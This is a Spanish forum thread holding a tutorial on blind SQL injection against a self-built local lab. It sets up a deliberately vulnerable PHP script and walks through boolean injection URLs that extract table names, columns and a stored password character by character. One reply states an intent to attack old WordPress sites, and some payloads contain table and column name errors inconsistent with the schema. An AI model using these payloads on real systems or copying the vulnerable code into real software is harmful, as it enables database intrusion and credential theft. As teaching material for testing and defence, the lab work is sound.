Resultados 1 al 8 de 8

Tema: Blind SQL Injection práctico.

  1. #1
    Moderador Global
    Fecha de ingreso
    Sep 2008
    Ubicación
    Barcelona
    Mensajes
    680
    Gracias
    102
    Agradecido 622 veces en 185 Mensajes

    Predeterminado Blind SQL Injection práctico.

    Hola:

    La idea principal no es explicar un Blind SQL Injection, la idea es poder "tocar" un Blind SQL Injection.

    De esta manera podremos jugar con el, introducir "nuestras cosas" y lo más importante, comprobar como reacciona ante ellas.

    Siempre, claro, en un escenario propio. En un escenario que nosotros controlemos, podamos manipular y configurar. De esta forma podremos habilitar/deshabilitar opciones, quitar/añadir datos, etc...

    Teniendo todo controlado entenderemos mejor el comportamiento o la hora de realizar el ataque.

    Pues es de lo que se trata.

    Lo que vamos a hacer es montar un Servidor WEB con APACHE + PHP + MySQL. Crear una base de datos y crear un fichero en PHP que realice un consulta con la Base de datos vulnerable...

    Para no liarnos mucho y para acabar antes, podemos instalar un Appserv, que lo que hace es instalarlo todo junto (APACHE + PHP + MySQL). Y así nos evitamos otros quebraderos de cabeza.

    AppServNetwork

    La instalación del AppServ no tiene ninguna dificultad. Eso si, apuntar o recordar las contraseñas que utilicéis.

    Una vez que tenemos instalado el servidor, lo arrancamos. A mi me gusta utilizar el Apache Monitor, que podéis encontrar en:

    Inicio - Todos los programas - AppServ - Control Server by Service - Apache Monitor.



    Abrimos nuestro navegador favorito y escribimos en la barra de direcciones:

    Código: http://localhost

    Si todo ha ido bien tendríamos que ver todos los ficheros alojados en nuestro servidor WEB.

    Para insertar ficheros en el servidor tendremos que introducirlos dentro de la carpeta WWW. Que por defecto encontraremos en:

    Código: C:\Appserv\www

    Recordar que los ficheros con nombre index son ejecutados directamente por el servidor.
    Para hacer más cómodo nuestro acceso al servidor recomiendo renombrar el fichero index.php a por ejemplo indexx.php

    Dentro de WWW, vamos a crear una carpeta llamada BlinSQLInjection.

    Este será el directorio donde alojaremos el script en PHP que realizará la consulta con la base de datos vulnerable.

    Pasemos ahora a crear una base de datos con información...

    Tenemos varias formas de crear la base de datos, bien a través del phpMyAdmin o a través de la consola de comandos.

    Aunque el phpMyAdmin es más visual, el MySQL Command Line Client es más rápido y, en este caso, más sencillo.

    MySQL Command Line Client lo podéis encontrar aquí:

    Código: Inicio - Todos los programas - Appserv - MySQL Command Line Client

    Ejecutamos el MySQL Command Line Client y escribimos la contraseña.

    Vamos a crear la Base de datos. Para eso introducimos el siguiente comando:

    Código: create database BlindSQL;



    Ahora vamos a crear la tabla USUARIOS con tres campos:

    • id.
    • Nombre.
    • Password.



    Para eso indicamos que base de datos queremos utilizar, mediante:

    Código: use BlindSQL;

    Y a continuación creamos la tabla con sus correspondientes campos:
    Código:
    CREATE TABLE `usuarios` (`id` int(10) unsigned NOT NULL auto_increment,`nonmbre` varchar(50) NOT NULL,`password` varchar(50) NOT NULL,PRIMARY KEY (`id`)) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=latin1 AUTO_INCREMENT=2 ;



    Ahora vamos a rellenar los campos con algunos contenidos. Por ejemplo, usuario: root, password: a1b2c3d4e5f6!!, id 1...

    Cada uno puede escoger el nombre y la contraseña que quiera... aunque para entender y no perderse en las explicaciones es recomendable utilizar los mismos ejemplos.

    Vamos haya...

    Código: insert into `usuarios` values (1, 'root','a1b2c3d4e5f6!!');

    Los siguientes 2 usuarios siguen el mismo procedimiento, simplemente hay que cambiar el id a un valor consecutivo. Por ejemplo:



    Código: insert into `usuarios` values (2, 'netting','gnitten');

    Código: insert into `usuarios` values (3, 'guest','a76sd76ash12b');

    Con esto ya hemos creado la base de datos que vamos a utilizar en la práctica y en los ejemplos.

    Una sola cosa más, comprobemos que la base de datos a creado todo correctamente.

    Vamos a visualizar la tabla USUARIOS.



    ¡Todo correcto!

    Cambiemos ahora, radicalmente, de tema. Vamos a crear un script en PHP que haga una consulta con la base de datos vulnerable a un Blind SQL Injection.

    Código: <?php
    $host = 'localhost';
    $dbuser = 'root';
    $dbpass = 'mysql';
    $dbname = 'blindsql';
    $db = mysql_connect($host, $dbuser, $dbpass);
    mysql_select_db($dbname,$db);
    $sql = "SELECT * FROM usuarios WHERE id=".$_GET['id'];
    $query = mysql_query($sql);
    if(@mysql_num_rows($query)==0){
    die('Error...! ');
    }
    $result=@mysql_fetch_row($query);
    echo "<h2><center>Blind SQL Injection<br>Ejemplos<br><br>";
    echo "<font color='#FF0000'>id: </font>".$result[0]."<br>";
    echo "<font color='#FF0000'>Nombre: </font>".$result[1]."<br>";
    // echo "Contraseña: ".$result[2]."<br>";
    echo "</h2></center>";
    die();
    ?>

    Este script no le he creado yo. Lo he sacado de la Intesné, lo que pasa es que no recuerdo de donde... (ay!! Que memoria la tuya, NeTTinG).

    Creo que el script es muy sencillo. Aun si tener ningunos conocimientos de PHP se puede sacar a grandes rasgos lo que hace.

    Quedémonos con lo más importante:

    Código: $sql = "SELECT * FROM usuarios WHERE id=".$_GET['id'];
    $query = mysql_query($sql);

    El script hace la siguiente consulta con la base de datos,

    Código: SELECT * FROM usuarios WHERE id=X

    Luego se recoge a través de GET el valor de id, dado por el usuario. Es decir, si nosotros escribimos:

    Código: http://localhost/BlinSQLInjection/blindmysql.php?id=1

    Se recoge el valor 1 y se hace la siguiente consulta:

    Código: SELECT * FROM usuarios WHERE id=1

    Luego, la otra parte del script, ya se ocupa de mostrar la respuesta a la solicitud en el navegador.

    Copiamos el script, lo pegamos en el bloc de notas, y lo guardamos dentro de la carpeta BlindSQLInjection con extensión PHP.

    Abrimos el navegador, e insertamos en la barra de direcciones la siguiente URL:

    Código: http://localhost/BlinSQLInjection/blindmysql.php?id=1

    Ya tenemos todo listo para realizar prácticas de Blind SQL Injection en nuestro propio servidor vulnerable.


    ¿Como saber si el servidor es vulnerable?

    Pasemos ahora a explicar un poco de que se trata un Blind SQL Injection, todo de manera práctica.

    Nosotros sabemos que el script muestra información a través de la variable id. Según el id mostrará una información u otra almacenada en la base de datos.

    Si nosotros no indicamos ningún valor a id o indicamos un valor que no existe en la base de datos obtendremos un simpático "Error...!! ".

    Vale. Sabiendo esto nos llega para entender las siguientes explicaciones.

    Si ponemos en la barra de direcciones la siguiente URL:

    Código: http://localhost/BlinSQLInjection/blindmysql.php?id=1 AND 1=1

    Obtendremos el mismo resultado que si introdujéramos:

    Código: http://localhost/BlinSQLInjection/blindmysql.php?id=1

    Acabamos de añadirle a la consulta un AND 1=1, que es un valor verdadero. Si la aplicación es vulnerable nos tendría que devolver el mismo resultado.

    Comprobemos que pasa si añadimos un valor falso:

    Código: http://localhost/BlinSQLInjection/blindmysql.php?id=1 AND 1=0

    Obtenemos un: "Error...!! "

    Bien. A partir de ahora podremos formularle preguntas al servidor acerca de la base de datos. Cuando las respuestas sean falsas se nos enviará a: "Error...!! ", mientras que cuando sean verdaderas nos quedaremos en la misma página.

    Una cosa importante. Las preguntas que podemos hacerle al servidor solo pueden tener como respuesta SI (verdadero) o NO (Falso). Recordar que es un ataque a ciegas...

    Ojo! El servidor contestará que NO tanto si la consulta es falsa como si nosotros indicamos una consulta errónea. Ojo con la sintaxis de las consultas.

    Probemos algunas cosas...

    Conozcamos el nombre la tabla:

    Código: http://localhost/BlinSQLInjection/blindmysql.php?id=1 AND (SELECT (COUNT(*)) FROM users);

    FALSO. Obtenemos la página "Error...!! "

    Probemos ahora con:

    Código: http://localhost/BlinSQLInjection/blindmysql.php?id=1 AND (SELECT (COUNT(*)) FROM usuarios);

    VERDADERO. Nos quedamos en la misma página.


    Conociendo el número de registros de una tabla

    Para conocer el número de registros vamos a seguir utilizando la Función COUNT:

    Código: http://localhost/BlinSQLInjection/blindmysql.php?id=1 AND (SELECT Count(*) FROM usuarios) > 5;

    Puesto que la tabla tiene 3 registros, nos dará un valor FALSO. 3 no es mayor que 5. (3 > 5)

    Código: http://localhost/BlinSQLInjection/blindmysql.php?id=1 AND (SELECT Count(*) FROM usuarios) = 3;

    En este caso ya sabemos que la tabla tiene 3 registros. Al inyectar esta inyección nos dará un valor VERDADERO.

    El objetivo es ir probando hasta encontrar un valor VERDADERO.


    Buscando los nombres de las columnas o campos

    Código: http://localhost/BlinSQLInjection/blindmysql.php?id=1 AND(SELECT Count(nombres) FROM users)

    Puesto que no existe ninguna columna o campo con este nombre obtendremos un valor FALSO.

    Código: http://localhost/BlinSQLInjection/blindmysql.php?id=1 AND(SELECT Count(password) FROM usuarios)

    Sin embargo, ahora si nos dará un valor VERDADERO. Si existe un campo con el nombre password.

    Ya tenemos un campo, ahora sería cuestión de ir probando con otros campos hasta encontrarlos todos.

    Código: http://localhost/BlinSQLInjection/blindmysql.php?id=1 AND(SELECT Count(nombre) FROM usuarios)

    Código: http://localhost/BlinSQLInjection/blindmysql.php?id=1 AND(SELECT Count(id) FROM usuarios)

    Esto nos devolverá valores VERDADEROS.


    Sacando información de los campos y registros

    Lo que más nos podría interesar a la hora de encontrar un servidor vulnerable a un tipo de ataque como un Blind SQL Injection sería sacar información acerca de los passwords almacenados. Pues bien, ¿Que tal si sacamos la longitud de una contraseña?

    Código: http://localhost/BlinSQLInjection/blindmysql.php?id=1 AND (SELECT length(password) FROM usuairos where id=1) > 9

    Esto nos devolverá un valor VERDADERO. El password tiene una longitud mayor a 9 (14 > 9).

    Si vamos probando, probando, llegaremos a la siguiente conclusión:

    Código: http://localhost/BlinSQLInjection/blindmysql.php?id=1 AND (SELECT length(password) FROM users where id=1) = 14

    Que nos devolverá un valor VERDADERO.

    También podríamos pedir el password a partir del nombre de usuario en vez de utilizar el id.

    Por ejemplo, así:

    Código: http://localhost/BlinSQLInjection/blindmysql.php?id=1%20AND%20(Select%20length(passw ord)%20From%20usuarios%20where%20nonmbre=%27root%2 7)%20>%209;

    Esto mismo nos vale también para conocer el contenido de otros campos. Por ejemplo, la longitud del usuario con id 2, al que vamos a imaginarnos que no conocemos su username.

    Código: http://localhost/BlinSQLInjection/blindmysql.php?id=1 AND (Select length(nombre) from usuarios where id=2) = 7;

    Esto nos devolverá un valor VERDADERO. Puesto que el usuario con id 2, netting, tiene una longitud de 7 caracteres.

    Pasemos ahora a sacar los caracteres de una contraseña o de otro campo. Para ello vamos a utilizar la función LENGTH y la función SUBSTRING.

    Código: http://localhost/BlinSQLInjection/blindmysql.php?id=1 AND ascii(substring((SELECT password FROM usuairos where id=1),1,1))=97;

    Esto nos devolverá un valor VERDADERO. Puesto que el primer carácter de la contraseña es una "a". (ASCII 97 = 'a').

    Código: http://localhost/BlinSQLInjection/blindmysql.php?id=1 AND ascii(substring((SELECT password FROM usuarios where id=1),2,1))=49

    Esto nos devolverña un valor VERDADERO. El segundo carácter de la contraseña es un "1". (ASCII 49 = 1).

    Es decir, debemos buscar en una tabla ASCII el valor del carácter que queremos comprobar. Ponerlo en la inyección y comprobar si es verdadero o falso.

    También fijaros que hay que ir cambiando el número de la inyección para indicar que carácter queremos comprobar... que si el primer carácter (1) , que si el segundo carácter (2), y así consecutivamente...

    Como decía Vic_Thor en el post del BlindSec, es una pesadilla... hay que ir comprobando carácter a carácter todas las posibilidades... y la verdad, no son pocas...

    Os dejo aquí una Tabla ASCII:



    ... bueno, siempre y cuando lo hagamos "a mano", existen herramientas, por eso de llamarlas de algún modo, que nos permiten hacerlo todo más automático...

    Aunque eso se escapa del objetivo del documento... si encuentro por mi disco duro la herramienta automatizada, la posteo en el foro...

    ¡¡Cuidadito con lo que hacéis!!... el gran hermano nos vigila a todos

    Un saludo.
    Fuente
    e-crime analyst
    Twitter: @seifreed
    http://seifreed.com

  2. Los siguientes 7 Usuarios dicen Gracias a Seifreed por este util aporte:

    badcode (06-21-2009), DragoN (05-06-2012), drotha2 (07-20-2011), eljefer (01-14-2011), Joyvis (03-27-2010), vit0y4 (06-21-2009), w4s (07-02-2010)

  3. #2
    Recien Nacido
    Fecha de ingreso
    Apr 2010
    Mensajes
    3
    Gracias
    1
    Agradecido 0 veces en 0 Mensajes

    Predeterminado

    interesante
    mi website
    http://c-intrud3rs.66ghz.com

    i love security
    not security not life
    no life and software free mi life is dead

  4. #3
    Dragonauta
    Fecha de ingreso
    May 2009
    Mensajes
    187
    Gracias
    9
    Agradecido 49 veces en 18 Mensajes

    Predeterminado

    Gran tuto, ahora toca empollar

  5. #4
    Recien Nacido
    Fecha de ingreso
    Apr 2011
    Mensajes
    4
    Gracias
    1
    Agradecido 0 veces en 0 Mensajes

    Predeterminado

    A practicar con esto del SQLi que quiero hacer cosas con versiones antiguas de WP con este tipo de fallas.

    Muchas gracias.

    Saludos.

  6. #5
    Dragonauta
    Fecha de ingreso
    Jan 2009
    Ubicación
    Armenia Quindio
    Mensajes
    136
    Gracias
    58
    Agradecido 17 veces en 16 Mensajes

    Predeterminado

    Muy buen tutorial

    muchas gracias

  7. #6
    Recien Nacido
    Fecha de ingreso
    Mar 2010
    Ubicación
    localhost
    Mensajes
    40
    Gracias
    6
    Agradecido 0 veces en 0 Mensajes

    Predeterminado

    bien
    muchas gracias
    la mente es como una sombrilla, solo sirve cuando se abre

  8. #7
    Recien Nacido
    Fecha de ingreso
    May 2012
    Mensajes
    2
    Gracias
    0
    Agradecido 0 veces en 0 Mensajes

    Predeterminado

    Interesante le post, pero devias haber hecho de como hacerlo con las demas paginas que son vulnerables a estas cosas

  9. #8
    Recien Nacido
    Fecha de ingreso
    May 2012
    Mensajes
    1
    Gracias
    0
    Agradecido 0 veces en 0 Mensajes

    Lightbulb

    Gracias por el tutorial amigo. grande sería como evitar este tipo de inyecciones. en nuestros códigos de php podemos comprobar que tipo de datos estamos rescatando, me hago explicar... si lo que estamos necesitando es un dato entero desde el GET para ejecutar una consulta con referencia del id, lo mejor sería identificar si los datos son numérico o son cadenas alfanuméricas.

    Código PHP:
    if (!is_numeric($_GET('id')))
    {
    print (
    'La consulta no se puede ejecutar');
    exit();
    }else
    {
    print(
    'La consulta puede ejecutarse');

    Un abrazo, espero haberme explicado bn.

Visitantes encuentran esta página buscando por:

sql injection ejemplo id= saber nombres tablas

sql injection ejemplos

blind sql injection ejemplo

sql injection ejemplos php

sql injectionejemplos sql injectionblind sql injection phpsql injection php ejemplosblind sqlCOMO SABER SI UNA PAGINA ES VULNERABLE A SQLINJECTIONblind sql injection mysqllogin.aspblind injectionblind sql injection ejemploscomo hacer sql injection phpque es blind sql injectionsql injection barra direccionesejemplos de sql injectionsql injection dragonjarblind sql injectionejemplo Blind SQL Injectionsql injection barra de direccionesque es un ataque blind en sql injection ejemplodragonjar sql injectionhacer sql injection php

Etiquetas para este tema

Permisos de publicación

  • No puedes crear nuevos temas
  • No puedes responder temas
  • No puedes subir archivos adjuntos
  • No puedes editar tus mensajes
  •